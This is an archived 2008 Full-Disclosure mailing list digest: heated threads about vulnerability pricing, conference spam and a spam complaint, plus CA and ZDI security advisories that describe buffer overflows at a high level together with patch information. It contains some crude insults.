emotionally charged when discussing topics that >> relate to their knowledge domain. That's unfortunate, since the broader IT >> security community is poorly represented due to attention-seeking zealots. >> >> Regarding the idea of "oulawing security conference spamming," I'd say the >> literal idea of outlawing cross-posts to multiple security mailing lists is >> a bad idea. The idea that the legislature should write into law legislation >> that reduces our freedom in such a sense is a slippery slope borne of >> emotionalism and narrowness. What else should the government do to curtail >> our freedoms? I tend to side with libertarian types (though I don't call >> myself a "libertarian" un-qualified) on what the government should do and >> what they should not do. And micro-manage security mailing lists is >> something they should not do. It's a bad idea and would make a dreadful >> precedent. > > Full-Disclosure is ment to be about free source, not making money. I'm > against people who make money come on the mailing lists, its > commerical spam. We can't allow this to continue, here are what I > don't like: > > - Come to our conference - profit... buy our ticket, get a macbook prize. > > - Hacking challenge prize - profit... they give you $5000 and sell it > to the vendor for a lot more. > > - Train to use our software -profit... over priced training for > software... not interested. > > On the issue of how much a vulnerability is worth, the prices are not > regulated, we need regulation into how much a vulnerability costs, > because the prices right now are wild. We need to take vulnerability > pricing off the blackmarket and onto a legitimate central website for > selling vulnerabilities, or cash rewards for disclosing a > vulnerability to a particular company or organisation. I don't like > sites like digital armaments which when i visited it, the content and > answers they gave were questionable, and people have complained about > digital armaments in the past. Its time to get pricing regulated and > defined, so everyone knows whos being joe jobbed and who isn't. > > Can someone post to full-disclosure a price list of what they think a > bufferoverflow should be worth etc, and we can vote if we agree. > > So what i'm calling for is someone to post up a hackers price list per > vulnerability type. > > XSS/SQL should be worth something as well, so Morning_Wood can buy > milk and a news paper in the mornings after he's taken care of his > wood. > > Sorry i've ended this e-mail with slightly off-topicness, but I do > think pricing needs to be defined. > > We can't dress up cash prizes/contests as something else as well, if a > website is offering a $5,000 reward for a vulnerability, we need to > know if we're being ripped off with the cash reward and how much can > be potentially made after its sold on. > > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > reward might not be enough money, compared to what a vulnerability > *should* be worth, and taking into consideration how much profit > CanSecWest make overall from people attending the conference. > > So you take into consideration how much a vulnerability should be > worth, then the added worth because its a security conference of how > much should be added on to counter the profit being made by the event. > > A vulnerability should be worth more if its disclosed at a security > conference than if its bought privately, because you've got to take in > profit and free advertsing to calculate. > > However, to round off, we can't allow the mailing lists to turn into a > vulnerability market place, full-disclosure should be for free stuff, > and other websites and mailing lists can be setup for *money making > schemes and auctions*. > > We shouldn't allow the money makers directly to market X... if a link > is put on Full-Disclosure by a member of the public on the fly then > thats ok, but I think its cheeky for the particular conference, > contest runner or software trainer to be on the list themselves > spamming everyone, for a profiteering agenda. > > You mention cross-posting, thats not the issue here, its the people > making the money posting to make the money that offends me so much. > > And not even the lonely hacker offends me who posts i've got a > vulnerability for sale for X, I don't mind that on Full-Disclosure, > but what I do mind is if its a company or organisation doing it that > is directly the ones making the money via vulnerability for sale, > prize contest, security conference or train to use our software!!!, > thats the height of spam I just think is utterly wrong and unethical > on any scale of acceptability. > > If a lonley hacker who works in a supermarket has a vulnerabilty to > sell i'm all for it being post on full-disclosure, but not the big > money conferences, prize hacking contests and software training guys. > > I come under the bracket as supermarket worker with nothing much going > for me in life, so I should be allowed to sell a vulnerability on > what's ment to be a mailing list for non-profit disclosure. > > If we tolerate the money making schemes much longer, eventually > full-disclosure will be a wash with conference,training,cash prize > spam, etc once everyone realises the full value of vulnerabilities and > the huge amounts of money to be made from setting up a cash prize > contest, the huge amounts of money to be made from setting up a > security conference and the huge amounts of money to be made from > training people to use your hax0r software. > > You will find it easy to shout me down and say n3td3v's an idiot, but > wait to the vulnerability market really takes off and the prices of > vulnerabilities are properly defined and regulated, you're going to > see a huge increase in commercial spam on the mailing lists, like the > full-disclosure mailing list. so we've got to define what's fair play > e-mail and what's a company or organisation blatantly profiteering > with X method of extracting money out of people and using skilled > hackers to make money, and to promote a security conference, training > etc. > > All the best, > > n3td3v > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFH9a5Xs+9h2X0fCGcRAqokAJ0SlqW+YckeRwdGtR2U8KoNu8pyUACgtCub 1jKptMdCec2P6fpyfFR4eAI= =RqWO -----END PGP SIGNATURE----- From randallm at fidmail.com Thu Apr 3 23:50:12 2008 From: randallm at fidmail.com (RM) Date: Thu, 3 Apr 2008 17:50:12 -0500 Subject: [Full-disclosure] angry Message-ID: Sorry. I am angry and tired. "I WANT STUPID NON-ENGLISH SPEAKING IDIOTS TO STOP SPAMMING ME WITH YOUR MIS_SPELLING/PENIS_ENLARGING/GET_A_LOAN BULLSHIT EMAILS! I AM ANGRY AND I'M NOT GOING TO TAKE IT ANYMORE! -- There, I feel better. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080403/eaf5da67/attachment.html From mlande at bellsouth.net Fri Apr 4 11:25:36 2008 From: mlande at bellsouth.net (Mary Landesman) Date: Fri, 4 Apr 2008 06:25:36 -0400 Subject: [Full-disclosure] angry In-Reply-To: References: Message-ID: <046001c8963e$39278850$6401a8c0@maryl> Are you saying you are ok with stupid English-speaking idiots spamming you? -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of RM Sent: Thursday, April 03, 2008 6:50 PM To: full-disclosure at lists.grok.org.uk Subject: [Full-disclosure] angry Sorry. I am angry and tired. "I WANT STUPID NON-ENGLISH SPEAKING IDIOTS TO STOP SPAMMING ME WITH YOUR MIS_SPELLING/PENIS_ENLARGING/GET_A_LOAN BULLSHIT EMAILS! I AM ANGRY AND I'M NOT GOING TO TAKE IT ANYMORE! -- There, I feel better. From jeff.stebelton at gmail.com Fri Apr 4 12:56:38 2008 From: jeff.stebelton at gmail.com (Jeff Stebelton) Date: Fri, 04 Apr 2008 07:56:38 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804020940sfb838e2ncf96927f97c2a1f6@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> Message-ID: <47F61776.6080001@gmail.com> This is an unmoderated list. Unmoderated: What's an unmoderated list? An unmoderated list is one where your messages are automatically sent to all the other list subscribers, without human intervention. Unmoderated. From seclists.org: Full Disclosure -- An unmoderated high-traffic forum for disclosure of security information. Fresh vulnerabilities sometimes hit this list many hours before they pass through the Bugtraq moderation queue. The relaxed atmosphere of this quirky list provides some comic relief and certain industry gossip. Unfortunately 80% of the posts are worthless drivel, so finding the gems takes patience. Truer words never spoken. =-) n3td3v wrote: > Full-Disclosure is ment to be about free source, not making money. I'm > against people who make money come on the mailing lists, its > commerical spam. We can't allow this to continue, here are what I > don't like: > > From Dirk_Kollberg at avertlabs.com Fri Apr 4 11:36:57 2008 From: Dirk_Kollberg at avertlabs.com (Kollberg, Dirk) Date: Fri, 4 Apr 2008 11:36:57 +0100 Subject: [Full-disclosure] angry In-Reply-To: <046001c8963e$39278850$6401a8c0@maryl> Message-ID: I think he should more worry about they way how they found out he has a need for penis enlangements or loan. BTW, if someone know why I receive these penis reduction spam, please let me know. Thanks, Dirk -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Mary Landesman Sent: Freitag, 4. April 2008 12:26 To: full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] angry Are you saying you are ok with stupid English-speaking idiots spamming you? -----Original Message----- From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of RM Sent: Thursday, April 03, 2008 6:50 PM To: full-disclosure at lists.grok.org.uk Subject: [Full-disclosure] angry Sorry. I am angry and tired. "I WANT STUPID NON-ENGLISH SPEAKING IDIOTS TO STOP SPAMMING ME WITH YOUR MIS_SPELLING/PENIS_ENLARGING/GET_A_LOAN BULLSHIT EMAILS! I AM ANGRY AND I'M NOT GOING TO TAKE IT ANYMORE! -- There, I feel better. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From James.Williams at ca.com Fri Apr 4 13:25:31 2008 From: James.Williams at ca.com (Williams, James K) Date: Fri, 4 Apr 2008 08:25:31 -0400 Subject: [Full-disclosure] CA Alert Notification Server Multiple Vulnerabilities Message-ID: <649CDCB56C88AA458EFF2CBF494B62040495BCF5@USILMS12.ca.com> Title: CA Alert Notification Server Multiple Vulnerabilities CA Advisory Date: 2008-04-03 Reported By: An anonymous researcher working with the iDefense VCP Impact: A remote authenticated attacker can execute arbitrary code or cause a denial of service condition. Summary: CA Alert Notification Server service contains multiple vulnerabilities that can allow a remote authenticated attacker to execute arbitrary code or cause a denial of service condition. CA has issued updates to address the vulnerabilities. The vulnerabilities, CVE-2007-4620, are due to insufficient bounds checking in multiple procedures. A remote authenticated attacker or local user can exploit a buffer overflow to execute arbitrary code or cause a denial of service. Mitigating Factors: Remote attacker must have legitimate authentication credentials. Severity: CA has given these vulnerabilities a maximum risk rating of High. Affected Products: CA Anti-Virus for the Enterprise 7.1 CA Threat Manager for the Enterprise (formerly eTrust Integrated Threat Management) r8 CA Threat Manager for the Enterprise (formerly eTrust Integrated Threat Management) r8.1 CA Anti-Virus for the Enterprise (formerly eTrust Antivirus) r8 CA Anti-Virus for the Enterprise (formerly eTrust Antivirus) r8.1 BrightStor ARCserve Backup r11.5 BrightStor ARCserve Backup r11.1 BrightStor ARCserve Backup r11 for Windows Affected Platforms: Windows Status and Recommendation: CA has provided updates to address the vulnerabilities. CA Anti-Virus for the Enterprise 7.1, CA Anti-Virus for the Enterprise r8: QO96079 CA Threat Manager for the Enterprise r8: QO96387 CA Anti-Virus for the Enterprise r8.1, CA Threat Manager for the Enterprise r8.1: QO96080 BrightStor ARCserve Backup r11.5, BrightStor ARCserve Backup r11.1: QO96079 BrightStor ARCserve Backup r11.0: Upgrade to 11.1 and apply the latest patches. How to determine if you are affected: For products on Windows: 1. Using Windows Explorer, locate the file "alert.exe". By default, the file is located in the "C:\Program Files\CA\SharedComponents\Alert" directory. 2. Right click on the file and select Properties. 3. Select the Version tab. 4. If the file version is earlier than indicated in the below table, the installation is vulnerable. Product File Version CA Anti-Virus for the Enterprise r8.1 Alert.exe 8.1.586.0 CA Threat Manager for the Enterprise 8.1 Alert.exe 8.1.586.0 CA Threat Manager for the Enterprise r8 Alert.exe 8.0.450.0 CA Anti-Virus for the Enterprise 7.1 Alert.exe 7.1.758.0 CA Anti-Virus for the Enterprise r8 Alert.exe 7.1.758.0 BrightStor ARCserve Backup r11.5 Alert.exe 7.1.758.0 BrightStor ARCserve Backup r11.1 Alert.exe 7.1.758.0 Workaround: None References (URLs may wrap): CA Support: http://support.ca.com/ Security Notice for Alert Notification Server https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=173103 Solution Document Reference APARs: QO96079, QO96387, QO96080, QO96079 CA Security Response Blog posting: CA Alert Notification Server Multiple Vulnerabilities http://community.ca.com/blogs/casecurityresponseblog/archive/2008/04/04/\ ca-alert-notification-server-multiple-vulnerabilities.aspx Reported By: An anonymous researcher working with the iDefense VCP CVE References: CVE-2007-4620 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4620 OSVDB References: Pending http://osvdb.org/ Changelog for this advisory: v1.0 - Initial Release Customers who require additional information should contact CA Technical Support at http://support.ca.com. For technical questions or comments related to this advisory, please send email to vuln AT ca DOT com. If you discover a vulnerability in CA products, please report your findings to vuln AT ca DOT com, or utilize our "Submit a Vulnerability" form. URL: http://www.ca.com/us/securityadvisor/vulninfo/submit.aspx Regards, Ken Williams ; 0xE2941985 Director, CA Vulnerability Research CA, 1 CA Plaza, Islandia, NY 11749 Contact http://www.ca.com/us/contact/ Legal Notice http://www.ca.com/us/legal/ Privacy Policy http://www.ca.com/us/privacy/ Copyright (c) 2008 CA. All rights reserved. From kf_lists at digitalmunition.com Fri Apr 4 13:55:37 2008 From: kf_lists at digitalmunition.com (Kevin Finisterre (lists)) Date: Fri, 4 Apr 2008 08:55:37 -0400 Subject: [Full-disclosure] angry In-Reply-To: References: Message-ID: You are black too? -KF On Apr 4, 2008, at 6:36 AM, Kollberg, Dirk wrote: > > > BTW, if someone know why I receive these penis reduction spam, > please let me know. > > Thanks, > Dirk > > -----Original Message----- > From: full-disclosure-bounces at lists.grok.org.uk > [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Mary > Landesman > Sent: Freitag, 4. April 2008 12:26 > To: full-disclosure at lists.grok.org.uk > Subject: Re: [Full-disclosure] angry > > Are you saying you are ok with stupid English-speaking idiots spamming > you? > > -----Original Message----- > From: full-disclosure-bounces at lists.grok.org.uk > [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of RM > Sent: Thursday, April 03, 2008 6:50 PM > To: full-disclosure at lists.grok.org.uk > Subject: [Full-disclosure] angry > > Sorry. I am angry and tired. > > "I WANT STUPID NON-ENGLISH SPEAKING IDIOTS TO STOP SPAMMING ME WITH > YOUR > MIS_SPELLING/PENIS_ENLARGING/GET_A_LOAN BULLSHIT EMAILS! > > I AM ANGRY AND I'M NOT GOING TO TAKE IT ANYMORE! > > -- > There, I feel better. > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ From James.Williams at ca.com Fri Apr 4 14:06:30 2008 From: James.Williams at ca.com (Williams, James K) Date: Fri, 4 Apr 2008 09:06:30 -0400 Subject: [Full-disclosure] CA ARCserve Backup for Laptops and Desktops Server and CA Desktop Management Suite Multiple Vulnerabilities Message-ID: <649CDCB56C88AA458EFF2CBF494B62040495BD19@USILMS12.ca.com> Title: CA ARCserve Backup for Laptops and Desktops Server and CA Desktop Management Suite Multiple Vulnerabilities CA Advisory Date: 2008-04-03 Reported By: Dyon Balding of Secunia Research Impact: A remote attacker can execute arbitrary code or cause a denial of service condition. Summary: CA ARCserve Backup for Laptops and Desktops Server contains multiple vulnerabilities that can allow a remote attacker to execute arbitrary code or cause a denial of service condition. CA has issued updates to address the vulnerabilities. The first issue, CVE-2008-1328, occurs due to insufficient bounds checking on command arguments by the LGServer service. The second issue, CVE-2008-1329, occurs due to insufficient verification of file uploads by the NetBackup service. In most cases, an attacker can potentially gain complete control of an affected installation. Additionally, only a server installation of BrightStor ARCserve Backup for Laptops and Desktops is affected. The client installation is not affected. Note: the previously published patches for CVE-2007-3216 and CVE-2007-5005 did not fully address some issues. Mitigating Factors: Client installations are not affected. Severity: CA has given these vulnerabilities a maximum risk rating of High. Affected Products: CA ARCserve Backup for Laptops and Desktops r11.5 CA ARCserve Backup for Laptops and Desktops r11.1 SP2 CA ARCserve Backup for Laptops and Desktops r11.1 SP1 CA ARCserve Backup for Laptops and Desktops r11.1 CA ARCserve Backup for Laptops and Desktops r11.0 CA Desktop Management Suite 11.2 English CA Desktop Management Suite 11.2 localized CA Desktop Management Suite 11.1 Affected Platforms: Windows Status and Recommendation: CA has provided updates to address the vulnerabilities. CA ARCserve Backup for Laptops and Desktops 11.1, 11.1 SP1, 11.2 SP2: QO95512 CA ARCserve Backup for Laptops and Desktops 11.5: QO95513 CA Desktop Management Suite 11.2 English: QO95513 CA Desktop Management Suite 11.2 localized: QO95513 CA Desktop Management Suite 11.1: Upgrade to 11.1 C1. CA ARCserve Backup for Laptops and Desktops 11.0: Upgrade to ARCserve Backup for Laptops and Desktops version 11.1 and apply the latest patches. QI85497 How to determine if you are affected: For Windows: 1. Using Windows Explorer, locate the file "rxRPC.dll". The file can be found in the following default locations: Product: CA ARCserve Backup for Laptops and Desktops 11.5 Directory Path: C:\Program Files\CA\BrightStor ARCserve Backup for Laptops & Desktops\Explorer Product: CA ARCserve Backup for Laptops and Desktops 11.1 Directory Path: C:\Program Files\CA\BrightStor ARCserve Backup for Laptops & Desktops\server Product: CA Desktop Management Suite 11.2 English Directory Path: C:\Program Files\CA\DSM\BABLD\MGUI Product: CA Desktop Management Suite 11.2 localized Directory Path: C:\Program Files\CA\DSM\BABLD\MGUI 2. Right click on the files and select Properties. 3. Select the General tab. 4. If the file date is earlier than indicated in the below table, the installation is vulnerable. Product File Name File Date / Size CA ARCserve Backup for Laptops and Desktops 11.5 rxRPC.dll February 18 2008 / 126976 CA ARCserve Backup for Laptops and Desktops 11.1 rxRPC.dll February 18 2008 / 114688 CA Desktop Management Suite 11.2 English rxRPC.dll February 18 2008 / 126976 CA Desktop Management Suite 11.2 localized rxRPC.dll February 18 2008 / 126976 Workaround: None References (URLs may wrap): CA Support: http://support.ca.com/ Security Notice for CA ARCserve Backup for Laptops and Desktops Server and CA Desktop Management Suite https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=173105 Solution Document Reference APARs: QO95512, QO95513, QI85497 CA Security Response Blog posting: CA ARCserve Backup for Laptops and Desktops Server and CA Desktop Management Suite Multiple Vulnerabilities http://community.ca.com/blogs/casecurityresponseblog/archive/2008/04/04/\ ca-arcserve-backup-for-laptops-and-desktops-server-and-ca-desktop-\ management-suite-multiple-vulnerabilities.aspx Reported By: Dyon Balding of Secunia Research CVE References: CVE-2008-1328 and CVE-2008-1329 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1328 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1329 OSVDB References: Pending http://osvdb.org/ Changelog for this advisory: v1.0 - Initial Release Customers who require additional information should contact CA Technical Support at http://support.ca.com. For technical questions or comments related to this advisory, please send email to vuln AT ca DOT com. If you discover a vulnerability in CA products, please report your findings to vuln AT ca DOT com, or utilize our "Submit a Vulnerability" form. URL: http://www.ca.com/us/securityadvisor/vulninfo/submit.aspx Regards, Ken Williams ; 0xE2941985 Director, CA Vulnerability Research CA, 1 CA Plaza, Islandia, NY 11749 Contact http://www.ca.com/us/contact/ Legal Notice http://www.ca.com/us/legal/ Privacy Policy http://www.ca.com/us/privacy/ Copyright (c) 2008 CA. All rights reserved. From urlancomp at gmail.com Fri Apr 4 15:22:17 2008 From: urlancomp at gmail.com (Urlan) Date: Fri, 4 Apr 2008 11:22:17 -0300 Subject: [Full-disclosure] angry In-Reply-To: References: Message-ID: <8b88d71c0804040722y6fe0c45cpf9948fe799fa88c0@mail.gmail.com> F?cil, ? s? sair da lista =D. Urlan On Thu, Apr 3, 2008 at 7:50 PM, RM wrote: > Sorry. I am angry and tired. > > "I WANT STUPID NON-ENGLISH SPEAKING IDIOTS TO STOP SPAMMING ME WITH YOUR > MIS_SPELLING/PENIS_ENLARGING/GET_A_LOAN BULLSHIT EMAILS! > > I AM ANGRY AND I'M NOT GOING TO TAKE IT ANYMORE! > > -- > There, I feel better. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/579db8fb/attachment.html From ureleet at gmail.com Fri Apr 4 15:31:14 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 10:31:14 -0400 Subject: [Full-disclosure] n3td3v has a fan In-Reply-To: <2d792fb20804030620i795b851cu90c69b3f37dd82e5@mail.gmail.com> References: <6158bb410804021546q1bd945d4ydb0eb50c0e900aee@mail.gmail.com> <4b6ee9310804021613n628cd00bj706125788bff60de@mail.gmail.com> <6158bb410804021715l29dafd00i1ba25ca63eb723bd@mail.gmail.com> <2d792fb20804030620i795b851cu90c69b3f37dd82e5@mail.gmail.com> Message-ID: <6158bb410804040731l51df3697tf9d0aa1100d3d239@mail.gmail.com> im trying not to form an opinion, but the general consensus doesnt seem very high. On Thu, Apr 3, 2008 at 9:20 AM, Razi Shaban wrote: > Actually, you're representing the opinion of the majority of the list. > n3td3v is undoubtably one of the most annoying posters, with an > amazingly inflated sense of self-worth. > > > -- > Razi > > On 4/3/08, Ureleet wrote: > > you are the one bragging about making a difference, all i see is you > being > > annoying. but i don't know ur full history on the mailing list, but > from > > what i see, its not very positive. > > > > and am i annoying everyone? or just you. speaking about stopping the > storm > > worm and trying to stop the storm worm are two different things. > > > > On Wed, Apr 2, 2008 at 7:13 PM, n3td3v wrote: > > > On Wed, Apr 2, 2008 at 11:46 PM, Ureleet wrote: > > > > you like him because he posts ur articles. > > > > > > > > you can have him. > > > > > > > > stop trolling. > > > > > > I'm the one at the forefront of security trying to make a difference, > > > and what are you? He supports me because of my cause to stop the > Storm > > > Worm, so what solutions have you got, instead of annoying everyone? > > > > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: > > http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/1827e018/attachment.html From ureleet at gmail.com Fri Apr 4 15:28:58 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 10:28:58 -0400 Subject: [Full-disclosure] Fwd: Let's outlaw mass securityconferencespamming its f****** gay In-Reply-To: <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> References: <4b6ee9310804012006t1c27a5cey3faf280ef0c43008@mail.gmail.com> <4b6ee9310804021533y1609769dke5a52d1078e5955e@mail.gmail.com> <27886.1207189079@turing-police.cc.vt.edu> <030b01c89543$0b481540$6401a8c0@maryl> <82abd3a70804030111q4896dc76h2c51434ad45c9885@mail.gmail.com> <6158bb410804030645w4057c055o503ff0302f87e1f8@mail.gmail.com> <004e01c89593$4cec60f0$336b880a@softpro.corp> <4b6ee9310804031438vde21ff8od59b6c66325f5d05@mail.gmail.com> Message-ID: <6158bb410804040728wb271dfey16b7fd58d19dfb54@mail.gmail.com> ive dealt a bit with tipping point and their zdi. how about you learn how it works first, the come back and criticize it? you obviously dont understand the contest at cansecwest, or how zdi plays into it. i was there, it was a good conf. but you need to learn how it works before you go ranting about it.... again... On Thu, Apr 3, 2008 at 5:38 PM, n3td3v wrote: > > On Thu, Apr 3, 2008 at 3:02 PM, Garrett M. Groff > wrote: > > Regarding the particular person in question, I'll defer to others who > know > > him (or her, or they, or whomever) better than I do. Instead, I'll say > that, > > generally, on lists like FD, there is a minority of out-spoken > personalities > > who sadly support the stereotypical hacker persona: condescending > egoists > > who are socially inept and emotionally charged when discussing topics > that > > relate to their knowledge domain. That's unfortunate, since the broader > IT > > security community is poorly represented due to attention-seeking > zealots. > > > > Regarding the idea of "oulawing security conference spamming," I'd say > the > > literal idea of outlawing cross-posts to multiple security mailing lists > is > > a bad idea. The idea that the legislature should write into law > legislation > > that reduces our freedom in such a sense is a slippery slope borne of > > emotionalism and narrowness. What else should the government do to > curtail > > our freedoms? I tend to side with libertarian types (though I don't call > > myself a "libertarian" un-qualified) on what the government should do > and > > what they should not do. And micro-manage security mailing lists is > > something they should not do. It's a bad idea and would make a dreadful > > precedent. > > Full-Disclosure is ment to be about free source, not making money. I'm > against people who make money come on the mailing lists, its > commerical spam. We can't allow this to continue, here are what I > don't like: > > - Come to our conference - profit... buy our ticket, get a macbook prize. > > - Hacking challenge prize - profit... they give you $5000 and sell it > to the vendor for a lot more. > > - Train to use our software -profit... over priced training for > software... not interested. > > On the issue of how much a vulnerability is worth, the prices are not > regulated, we need regulation into how much a vulnerability costs, > because the prices right now are wild. We need to take vulnerability > pricing off the blackmarket and onto a legitimate central website for > selling vulnerabilities, or cash rewards for disclosing a > vulnerability to a particular company or organisation. I don't like > sites like digital armaments which when i visited it, the content and > answers they gave were questionable, and people have complained about > digital armaments in the past. Its time to get pricing regulated and > defined, so everyone knows whos being joe jobbed and who isn't. > > Can someone post to full-disclosure a price list of what they think a > bufferoverflow should be worth etc, and we can vote if we agree. > > So what i'm calling for is someone to post up a hackers price list per > vulnerability type. > > XSS/SQL should be worth something as well, so Morning_Wood can buy > milk and a news paper in the mornings after he's taken care of his > wood. > > Sorry i've ended this e-mail with slightly off-topicness, but I do > think pricing needs to be defined. > > We can't dress up cash prizes/contests as something else as well, if a > website is offering a $5,000 reward for a vulnerability, we need to > know if we're being ripped off with the cash reward and how much can > be potentially made after its sold on. > > Robert Lemos even http://www.securityfocus.com/news/11510 talked about > vulnerability pricing when Pwn2Own was on, and even Pwn2Own cash > reward might not be enough money, compared to what a vulnerability > *should* be worth, and taking into consideration how much profit > CanSecWest make overall from people attending the conference. > > So you take into consideration how much a vulnerability should be > worth, then the added worth because its a security conference of how > much should be added on to counter the profit being made by the event. > > A vulnerability should be worth more if its disclosed at a security > conference than if its bought privately, because you've got to take in > profit and free advertsing to calculate. > > However, to round off, we can't allow the mailing lists to turn into a > vulnerability market place, full-disclosure should be for free stuff, > and other websites and mailing lists can be setup for *money making > schemes and auctions*. > > We shouldn't allow the money makers directly to market X... if a link > is put on Full-Disclosure by a member of the public on the fly then > thats ok, but I think its cheeky for the particular conference, > contest runner or software trainer to be on the list themselves > spamming everyone, for a profiteering agenda. > > You mention cross-posting, thats not the issue here, its the people > making the money posting to make the money that offends me so much. > > And not even the lonely hacker offends me who posts i've got a > vulnerability for sale for X, I don't mind that on Full-Disclosure, > but what I do mind is if its a company or organisation doing it that > is directly the ones making the money via vulnerability for sale, > prize contest, security conference or train to use our software!!!, > thats the height of spam I just think is utterly wrong and unethical > on any scale of acceptability. > > If a lonley hacker who works in a supermarket has a vulnerabilty to > sell i'm all for it being post on full-disclosure, but not the big > money conferences, prize hacking contests and software training guys. > > I come under the bracket as supermarket worker with nothing much going > for me in life, so I should be allowed to sell a vulnerability on > what's ment to be a mailing list for non-profit disclosure. > > If we tolerate the money making schemes much longer, eventually > full-disclosure will be a wash with conference,training,cash prize > spam, etc once everyone realises the full value of vulnerabilities and > the huge amounts of money to be made from setting up a cash prize > contest, the huge amounts of money to be made from setting up a > security conference and the huge amounts of money to be made from > training people to use your hax0r software. > > You will find it easy to shout me down and say n3td3v's an idiot, but > wait to the vulnerability market really takes off and the prices of > vulnerabilities are properly defined and regulated, you're going to > see a huge increase in commercial spam on the mailing lists, like the > full-disclosure mailing list. so we've got to define what's fair play > e-mail and what's a company or organisation blatantly profiteering > with X method of extracting money out of people and using skilled > hackers to make money, and to promote a security conference, training > etc. > > All the best, > > n3td3v > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080404/41b56fe5/attachment.html From ureleet at gmail.com Fri Apr 4 15:33:33 2008 From: ureleet at gmail.com (Ureleet) Date: Fri, 4 Apr 2008 10:33:33 -0400 Subject: [Full-disclosure] ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow Vulnerability In-Reply-To: References: Message-ID: <6158bb410804040733t5907006fg75a6c32d80cff145@mail.gmail.com> dear zdi, please instruct n3td3v on your process. oh sorry you already have in every email alert that you send! "Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. TippingPoint does not re-sell the vulnerability details or any exploit code. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/" thanks. On Thu, Apr 3, 2008 at 5:54 PM, wrote: > ZDI-08-018: Apple QuickTime Run Length Encoding Heap Overflow > Vulnerability > http://www.zerodayinitiative.com/advisories/ZDI-08-018 > April 3, 2008 > > -- CVE ID: > CVE-2008-1021 > > -- Affected Vendors: > Apple > > -- Affected Products: > Apple Quicktime 7.4.1 > > -- TippingPoint(TM) IPS Customer Protection: > TippingPoint IPS customers have been protected against this > vulnerability by Digital Vaccine protection filter ID 5998. > For further product information on the TippingPoint IPS, visit: > > http://www.tippingpoint.com > > -- Vulnerability Details: > This vulnerability allows attackers to execute arbitrary code on > vulnerable installations of Apple QuickTime Player. User interaction is > required to exploit this vulnerability in that the target must visit a > malicious page or open a malicious file. > > The specific flaw exists within the parsing of QuickTime files that > utilize the Animation codec. A lack of proper length checks can result > in a heap based buffer overflow leading to arbitrary code execution > under the context of the currently logged in user. > > -- Vendor Response: > Apple has issued an update to correct this vulnerability. More > details can be found at: > > http://support.apple.com/kb/HT1241 > > -- Disclosure Timeline: > 2008-02-07 - Vulnerability reported to vendor > 2008-04-03 - Coordinated public release of advisory > > -- Credit: > This vulnerability was discovered by: > * Anonymous > > -- About the Zero Day Initiative (ZDI): > Established by TippingPoint, The Zero Day Initiative (ZDI) represents > a best-of-breed model for rewarding security researchers for responsibly > 